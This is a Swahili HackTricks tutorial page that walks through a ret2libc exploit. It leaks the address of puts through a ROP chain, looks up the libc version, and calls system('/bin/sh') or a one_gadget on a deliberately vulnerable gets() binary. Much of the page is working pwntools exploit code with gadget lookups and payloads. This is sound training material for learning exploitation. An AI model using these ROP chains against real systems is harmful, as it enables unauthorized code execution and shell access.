Kuonyesha anwani ya libc kwa kutumia ROP
Reading time: 9 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Muhtasari wa Haraka
- Pata overflow offset
- Pata gadget ya
POP_RDI
, gadget zaPUTS_PLT
naMAIN
- Tumia gadget za awali ku onyesha anwani ya kumbukumbu ya puts au kazi nyingine ya libc na pata toleo la libc (donwload it)
- Pamoja na maktaba, hesabu ROP na uifanye
Miongozo mingine na binaries za kufanya mazoezi
Miongozo hii itatumia msimbo/binary uliopendekezwa katika miongozo hii: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Miongozo mingine ya manufaa: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Msimbo
Filename: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Kuonyesha LIBC template
Pakua exploit na uweke katika saraka moja na binary iliyo hatarini na upe data zinazohitajika kwa script:
{{#ref}} rop-leaking-libc-template.md {{#endref}}
1- Kutafuta offset
Template inahitaji offset kabla ya kuendelea na exploit. Ikiwa yoyote itatolewa itatekeleza msimbo unaohitajika kuipata (kwa default OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Tekeleza python template.py
itafungua GDB console na programu itakuwa imeanguka. Ndani ya GDB console tekeleza x/wx $rsp
kupata bytes ambazo zilikuwa zinaenda kufunika RIP. Hatimaye pata offset ukitumia python console:
from pwn import *
cyclic_find(0x6161616b)
Baada ya kupata offset (katika kesi hii 40) badilisha variable ya OFFSET ndani ya template ukitumia thamani hiyo.
OFFSET = "A" * 40
Njia nyingine ingekuwa kutumia: pattern create 1000
-- tekeleza hadi ret -- pattern seach $rsp
kutoka GEF.
2- Kupata Gadgets
Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa muhimu kuita puts
ili kupata libc inayotumika, na baadaye kuanzisha exploit ya mwisho.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
The PUTS_PLT
inahitajika kuita function puts.
The MAIN_PLT
inahitajika kuita main function tena baada ya mwingiliano mmoja ili exploit overflow tena (mizunguko isiyo na mwisho ya exploitation). Inatumika mwishoni mwa kila ROP kuita programu tena.
The POP_RDI inahitajika kupitisha parameter kwa function iliyoitwa.
Katika hatua hii huwezi kutekeleza chochote kwani kila kitu kitapatikana na pwntools wakati wa utekelezaji.
3- Kutafuta maktaba ya libc
Sasa ni wakati wa kutafuta ni toleo gani la libc maktaba linatumika. Ili kufanya hivyo tutakuwa na leak anwani katika kumbukumbu ya function puts
na kisha tutatafuta ni library version gani ambayo toleo la puts liko katika anwani hiyo.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Ili kufanya hivyo, mstari muhimu zaidi wa msimbo uliofanywa ni:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Hii itatuma baadhi ya bytes hadi kuandika RIP iwezekanavyo: OFFSET
.
Kisha, itapanga anwani ya gadget POP_RDI
ili anwani inayofuata (FUNC_GOT
) ihifadhiwe katika rejista ya RDI. Hii ni kwa sababu tunataka kuita puts tukipitia anwani ya PUTS_GOT
kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayoelekezwa na PUTS_GOT
.
Baada ya hapo, PUTS_PLT
itaitwa (ikiwa na PUTS_GOT
ndani ya RDI) ili puts isome maudhui ndani ya PUTS_GOT
(anwani ya kazi ya puts katika kumbukumbu) na it ichapishe.
Hatimaye, kazi ya main inaitwa tena ili tuweze kutumia overflow tena.
Kwa njia hii tumem danganya kazi ya puts ili ichapishe anwani katika kumbukumbu ya kazi puts (ambayo iko ndani ya maktaba ya libc). Sasa kwamba tuna anwani hiyo tunaweza kutafuta ni toleo gani la libc linatumika.
Kwa kuwa tun atumia baadhi ya binary za local si lazima kubaini ni toleo gani la libc linatumika (pata tu maktaba katika /lib/x86_64-linux-gnu/libc.so.6
).
Lakini, katika kesi ya exploit ya mbali nitafafanua hapa jinsi unavyoweza kulipata:
3.1- Kutafuta toleo la libc (1)
Unaweza kutafuta ni maktaba gani inatumika kwenye ukurasa wa wavuti: https://libc.blukat.me/
Itakuruhusu pia kupakua toleo lililogunduliwa la libc
3.2- Kutafuta toleo la libc (2)
Unaweza pia kufanya:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Hii itachukua muda, kuwa na subira.
Ili hii ifanye kazi tunahitaji:
- Jina la alama ya Libc:
puts
- Anwani ya libc iliyovuja:
0x7ff629878690
Tunaweza kubaini ni libc ipi ambayo ina uwezekano mkubwa inatumika.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Tunapata mechi 2 (unapaswa kujaribu ya pili ikiwa ya kwanza haifanyi kazi). Pakua ya kwanza:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Nakili libc kutoka libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
hadi kwenye directory yetu ya kazi.
3.3- Kazi nyingine za kuvuja
puts
printf
__libc_start_main
read
gets
4- Kupata anwani ya libc kulingana na msingi & kutumia
Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani, nitatumia tu: /lib/x86_64-linux-gnu/libc.so.6
Hivyo, mwanzoni mwa template.py
badilisha libc variable kuwa: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
Kutoa path kwa maktaba ya libc sehemu nyingine ya exploit itahesabiwa kiotomatiki.
Ndani ya get_addr
function anwani ya msingi ya libc itahesabiwa:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Kumbuka kwamba anwani ya mwisho ya msingi ya libc lazima iishe na 00. Ikiwa hiyo si hali yako unaweza kuwa umepata maktaba isiyo sahihi.
Basi, anwani ya kazi system
na anwani ya mfuatano "/bin/sh" zitakuwa zinahesabiwa kutoka kwa anwani ya msingi ya libc na kutolewa kwa maktaba ya libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Hatimaye, exploit ya utekelezaji wa /bin/sh itakuwa tayari kutumwa:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Hebu tueleze hii ROP ya mwisho.
ROP ya mwisho (rop1
) ilimaliza kwa kuita tena kazi ya main, kisha tunaweza ku exploit tena overflow (ndiyo maana OFFSET
iko hapa tena). Kisha, tunataka kuita POP_RDI
ikielekeza kwenye anwani ya "/bin/sh" (BINSH
) na kuita kazi ya system (SYSTEM
) kwa sababu anwani ya "/bin/sh" itapitishwa kama parameter.
Hatimaye, anwani ya kazi ya exit inaitwa ili mchakato uondoke vizuri na tahadhari yoyote itazalishwa.
Kwa njia hii exploit itatekeleza _/bin/sh_** shell.**
4(2)- Kutumia ONE_GADGET
Unaweza pia kutumia ONE_GADGET kupata shell badala ya kutumia system na "/bin/sh". ONE_GADGET itapata ndani ya maktaba ya libc njia fulani ya kupata shell kwa kutumia tu anwani moja ya ROP.
Hata hivyo, kawaida kuna baadhi ya vizuizi, zile za kawaida na rahisi kuepuka ni kama [rsp+0x30] == NULL
Kwa kuwa unadhibiti thamani ndani ya RSP unahitaji tu kutuma thamani zaidi za NULL ili kuepuka vizuizi hivyo.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
FAILI LA KUVUNJA
Unaweza kupata kiolezo cha kutumia udhaifu huu hapa:
{{#ref}} rop-leaking-libc-template.md {{#endref}}
Matatizo ya kawaida
MAIN_PLT = elf.symbols['main'] haipatikani
Ikiwa alama "main" haipo. Basi unaweza kupata wapi kuna msimbo mkuu:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
na weka anwani kwa mikono:
MAIN_PLT = 0x401080
Puts hazipatikani
Ikiwa binary haitumii Puts unapaswa kuangalia ikiwa inatumia
sh: 1: %s%s%s%s%s%s%s%s: hazipatikani
Ikiwa utapata kosa hili baada ya kuunda zote exploit: sh: 1: %s%s%s%s%s%s%s%s: hazipatikani
Jaribu kupunguza byte 64 kutoka anwani ya "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.